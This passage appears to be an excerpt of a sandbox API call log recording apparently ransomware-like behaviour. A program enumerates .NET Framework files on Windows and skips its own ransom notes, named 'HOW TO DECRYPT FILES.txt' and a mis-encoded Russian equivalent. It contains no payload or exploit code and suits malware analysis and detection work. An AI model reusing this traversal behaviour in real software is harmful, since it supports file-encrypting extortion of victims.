(lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Utilities.v4.0.dll") returned -1 [0137.639] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Utilities.v4.0.dll") returned -1 [0137.639] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Utilities.v4.0.dll") returned -1 [0137.639] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll") returned="Microsoft.Build.Tasks.v4.0.dll" [0137.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.639] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.639] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9ef93520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x936, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1 [0137.648] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.648] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.xsd") returned -1 [0137.648] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.xsd") returned -1 [0137.648] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.xsd") returned -1 [0137.648] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.Utilities.v4.0.dll") returned="Microsoft.Build.Utilities.v4.0.dll" [0137.648] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.648] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.649] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5cc0f2a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x1899, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.OverrideTasks", cAlternateFileName="MICROS~1.OVE")) returned 1 [0137.649] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.649] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.OverrideTasks") returned -1 [0137.649] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.OverrideTasks") returned -1 [0137.649] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.OverrideTasks") returned -1 [0137.649] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Build.xsd") returned="Microsoft.Build.xsd" [0137.649] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.649] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.649] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5cc0f2a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x40193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0137.649] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.649] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.targets") returned -1 [0137.649] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.targets") returned -1 [0137.649] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.targets") returned -1 [0137.649] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Common.OverrideTasks") returned="Microsoft.Common.OverrideTasks" [0137.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.650] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.650] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd22800, ftCreationTime.dwHighDateTime=0x1cd0c63, ftLastAccessTime.dwLowDateTime=0xcf9b76c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdfd22800, ftLastWriteTime.dwHighDateTime=0x1cd0c63, nFileSizeHigh=0x0, nFileSizeLow=0x3a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.Tasks", cAlternateFileName="MICROS~1.TAS")) returned 1 [0137.650] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.650] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.Tasks") returned -1 [0137.650] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.Tasks") returned -1 [0137.650] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.Tasks") returned -1 [0137.650] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Common.targets") returned="Microsoft.Common.targets" [0137.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.650] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.651] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cc5b560, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x764b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CSharp.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0137.651] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.651] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.CSharp.dll") returned -1 [0137.651] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.CSharp.dll") returned -1 [0137.651] lstrcmpiA (lpString1="", lpString2="Microsoft.CSharp.dll") returned -1 [0137.651] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Common.Tasks") returned="Microsoft.Common.Tasks" [0137.651] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.651] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.651] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c344900, ftCreationTime.dwHighDateTime=0x1cd425b, ftLastAccessTime.dwLowDateTime=0xcfa03980, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5c344900, ftLastWriteTime.dwHighDateTime=0x1cd425b, nFileSizeHigh=0x0, nFileSizeLow=0x5c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CSharp.targets", cAlternateFileName="MICROS~2.TAR")) returned 1 [0137.651] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.651] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.CSharp.targets") returned -1 [0137.651] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.CSharp.targets") returned -1 [0137.651] lstrcmpiA (lpString1="", lpString2="Microsoft.CSharp.targets") returned -1 [0137.651] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.CSharp.dll") returned="Microsoft.CSharp.dll" [0137.651] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.651] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.652] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cca7820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcd08, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Entity.Build.Tasks.dll", cAlternateFileName="MI7169~1.DLL")) returned 1 [0137.652] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.652] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Data.Entity.Build.Tasks.dll") returned -1 [0137.652] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Data.Entity.Build.Tasks.dll") returned -1 [0137.652] lstrcmpiA (lpString1="", lpString2="Microsoft.Data.Entity.Build.Tasks.dll") returned -1 [0137.652] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.CSharp.targets") returned="Microsoft.CSharp.targets" [0137.652] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.652] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.653] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1251b100, ftCreationTime.dwHighDateTime=0x1d07a8f, ftLastAccessTime.dwLowDateTime=0x5cca7820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x1251b100, ftLastWriteTime.dwHighDateTime=0x1d07a8f, nFileSizeHigh=0x0, nFileSizeLow=0x1965, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Entity.targets", cAlternateFileName="MICROS~3.TAR")) returned 1 [0137.653] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Data.Entity.targets") returned -1 [0137.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Data.Entity.targets") returned -1 [0137.653] lstrcmpiA (lpString1="", lpString2="Microsoft.Data.Entity.targets") returned -1 [0137.653] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Data.Entity.Build.Tasks.dll") returned="Microsoft.Data.Entity.Build.Tasks.dll" [0137.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.653] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.653] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ccf3ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2cf08, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Internal.Tasks.Dataflow.dll", cAlternateFileName="MIFF80~1.DLL")) returned 1 [0137.653] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Internal.Tasks.Dataflow.dll") returned -1 [0137.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Internal.Tasks.Dataflow.dll") returned -1 [0137.653] lstrcmpiA (lpString1="", lpString2="Microsoft.Internal.Tasks.Dataflow.dll") returned -1 [0137.653] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Data.Entity.targets") returned="Microsoft.Data.Entity.targets" [0137.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.653] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.654] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cee2cc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb7cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript.dll", cAlternateFileName="MID3E2~1.DLL")) returned 1 [0137.654] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.dll") returned -1 [0137.654] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.dll") returned -1 [0137.654] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.dll") returned -1 [0137.654] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Internal.Tasks.Dataflow.dll") returned="Microsoft.Internal.Tasks.Dataflow.dll" [0137.654] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.654] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.654] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70931400, ftCreationTime.dwHighDateTime=0x1d0aa7f, ftLastAccessTime.dwLowDateTime=0x5cf08e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70931400, ftLastWriteTime.dwHighDateTime=0x1d0aa7f, nFileSizeHigh=0x0, nFileSizeLow=0xe200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript.tlb", cAlternateFileName="MICROS~1.TLB")) returned 1 [0137.655] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.655] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.tlb") returned -1 [0137.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.tlb") returned -1 [0137.655] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.tlb") returned -1 [0137.655] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.JScript.dll") returned="Microsoft.JScript.dll" [0137.655] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.655] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.655] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c344900, ftCreationTime.dwHighDateTime=0x1cd425b, ftLastAccessTime.dwLowDateTime=0xcfa4fc40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5c344900, ftLastWriteTime.dwHighDateTime=0x1cd425b, nFileSizeHigh=0x0, nFileSizeLow=0x2eb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NETFramework.props", cAlternateFileName="MICROS~1.PRO")) returned 1 [0137.655] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.655] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.NETFramework.props") returned -1 [0137.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.NETFramework.props") returned -1 [0137.655] lstrcmpiA (lpString1="", lpString2="Microsoft.NETFramework.props") returned -1 [0137.655] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.JScript.tlb") returned="Microsoft.JScript.tlb" [0137.655] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.655] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd183f00, ftCreationTime.dwHighDateTime=0x1cd1085, ftLastAccessTime.dwLowDateTime=0xcfa4fc40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd183f00, ftLastWriteTime.dwHighDateTime=0x1cd1085, nFileSizeHigh=0x0, nFileSizeLow=0x1ff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NETFramework.targets", cAlternateFileName="MICROS~4.TAR")) returned 1 [0137.656] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.NETFramework.targets") returned -1 [0137.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.NETFramework.targets") returned -1 [0137.656] lstrcmpiA (lpString1="", lpString2="Microsoft.NETFramework.targets") returned -1 [0137.656] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.NETFramework.props") returned="Microsoft.NETFramework.props" [0137.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.656] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83364f00, ftCreationTime.dwHighDateTime=0x1cd424a, ftLastAccessTime.dwLowDateTime=0xcfa75da0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x83364f00, ftLastWriteTime.dwHighDateTime=0x1cd424a, nFileSizeHigh=0x0, nFileSizeLow=0x2637, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ServiceModel.targets", cAlternateFileName="MIF6BB~1.TAR")) returned 1 [0137.657] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.ServiceModel.targets") returned -1 [0137.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.ServiceModel.targets") returned -1 [0137.657] lstrcmpiA (lpString1="", lpString2="Microsoft.ServiceModel.targets") returned -1 [0137.657] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.NETFramework.targets") returned="Microsoft.NETFramework.targets" [0137.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.657] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.657] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd19c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x61908, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0137.657] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Transactions.Bridge.dll") returned -1 [0137.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Transactions.Bridge.dll") returned -1 [0137.657] lstrcmpiA (lpString1="", lpString2="Microsoft.Transactions.Bridge.dll") returned -1 [0137.658] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.ServiceModel.targets") returned="Microsoft.ServiceModel.targets" [0137.658] lstrcpyA (in: lpString1=0x407019, 